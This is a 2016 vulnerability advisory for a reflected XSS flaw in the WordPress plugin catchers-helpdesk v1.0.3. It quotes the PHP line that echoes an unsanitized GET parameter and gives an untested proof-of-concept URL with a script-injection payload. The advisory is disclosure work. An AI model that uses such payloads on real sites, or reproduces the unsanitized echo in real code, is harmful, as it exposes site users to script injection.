Advisory #: 378
Title: Reflected XSS in wordpress plugin catchers-helpdesk v1.0.3
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/catchers-helpdesk
Downloads: 81
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: catchers-helpdesk
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./catchers-helpdesk/src/Admin/metaboxes/details.php: 79: <input type="hidden" name="stgh_post_parent" value="<?php echo $_GET['post']; ?>"> The variable post appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./catchers-helpdesk/src/Admin/metaboxes/details.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/catchers-helpdesk/src/Admin/metaboxes/details.php?post="><script>alert(1);</script><"